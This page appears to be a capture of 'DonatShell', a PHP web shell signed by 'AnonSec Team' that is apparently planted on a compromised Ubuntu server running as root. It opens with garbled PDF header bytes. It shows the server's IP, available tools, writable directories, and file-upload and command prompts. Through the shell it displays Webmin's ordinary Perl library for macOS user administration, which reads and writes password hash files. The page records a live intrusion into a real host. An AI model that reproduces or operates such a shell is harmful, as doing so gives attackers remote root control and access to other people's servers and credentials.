%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/useradmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/useradmin/macos-lib.pl
# freebsd-lib.pl
# Functions for freebsd format last output

$netinfo_domain = $config{'netinfo_domain'} || ".";

# Mapping from OSX user properties to Webmin user hash keys
%user_properties_map = (
	'RecordName' => 'user',
	'UniqueID' => 'uid',
	'PrimaryGroupID' => 'gid',
	'RealName' => 'real',
	'NFSHomeDirectory' => 'home',
	'UserShell' => 'shell',
	);

# And to group hash keys
%group_properties_map = (
	'RecordName' => 'group',
	'PrimaryGroupID' => 'gid',
	'GroupMembership' => 'members',
	);

# passfiles_type()
# Returns 6 for macos netinfo user storage, 7 for new directory service
sub passfiles_type
{
if (-x "/usr/bin/nidump") {
	# Old netinfo format users DB
	return 6;
	}
elsif (-x "/usr/bin/dscl") {
	# New directory service DB
	return 7;
	}
else {
	return 0;
	}
}

# groupfiles_type()
# Returns 5 for macos netinfo group storage, 7 for new directory service
sub groupfiles_type
{
if (-x "/usr/bin/nidump") {
	# Old netinfo format groups DB
	return 5;
	}
elsif (-x "/usr/bin/dscl") {
	# New directory service DB
	return 7;
	}
else {
	return 0;
	}
}

# open_last_command(handle, user, [max])
sub open_last_command
{
my ($fh, $user, $max) = @_;
$max = " -n $max" if ($max);
open($fh, "last$max $user |");
}

# read_last_line(handle)
# Parses a line of output from last into an array of
#  user, tty, host, login, logout, period
sub read_last_line
{
$fh = $_[0];
while(1) {
	chop($line = <$fh>);
	if (!$line) { return (); }
	if ($line =~ /^(reboot|shutdown)/) { next; }
	if ($line =~ /^(\S+)\s+(\S+)\s+(\S+)?\s+(\S+\s+\S+\s+\d+\s+\d+:\d+)\s+\-\s+(\S+)\s+\((\d+:\d+)\)/) {
		return ($1, $2, $3, $4, $5 eq "shutdown" ? "Shutdown" :
					$5 eq "crash" ? "Crash" : $5, $6);
		}
	elsif ($line =~ /^(\S+)\s+(\S+)\s+(\S+)?\s+(\S+\s+\S+\s+\d+\s+\d+:\d+)\s+still/) {
		return ($1, $2, $3, $4);
		}
	}
}

# execute_dscl_command(command, arg, ...)
# Executes some batch command with dscl, and calls error on failure
sub execute_dscl_command
{
local ($cmd, @args) = @_;
local $fullcmd = "dscl '$netinfo_domain' ".quotemeta($cmd);
foreach my $a (@args) {
	$fullcmd .= " ".($a eq '' ? "''" : quotemeta($a));
	}
local $out = &backquote_command("$fullcmd 2>&1 </dev/null");
if ($?) {
	&error("<tt>".&html_escape($fullcmd)."</tt> failed : ".
	       "<tt>".&html_escape($out)."</tt>");
	}
return $out;
}

# get_macos_password_hash(uid)
# Given a user's ID, return the password hash. This is in SHA1 format, and the
# first 4 bytes are the salt
sub get_macos_password_hash
{
local ($uuid) = @_;
return undef if (!$uuid);
local $hashfile = &read_file_contents("/var/db/shadow/hash/$uuid");
if ($hashfile) {
	return substr($hashfile, 169, 48);
	}
return undef;
}

# set_macos_password_hash(uuid, hash)
# Updates the password hash for some OSX user
sub set_macos_password_hash
{
local ($uuid, $pass) = @_;
print STDERR "uuid=$uuid hash=$pass\n";
return 0 if (!$uuid);
local $hashfile = &read_file_contents("/var/db/shadow/hash/$uuid");
if ($hashfile) {
	if (length($pass) > 48) {
		$pass = substr($pass, 0, 48);
		}
	elsif (length($pass) < 48) {
		$pass .= ("0" x (48-length($pass)));
		}
	substr($hashfile, 169, 48) = $pass;
	&open_tempfile(HASHFILE, ">/var/db/shadow/hash/$uuid");
	&print_tempfile(HASHFILE, $hashfile);
	&close_tempfile(HASHFILE);
	return 1;
	}
return 0;
}

1;


Anon7 - 2022
AnonSec Team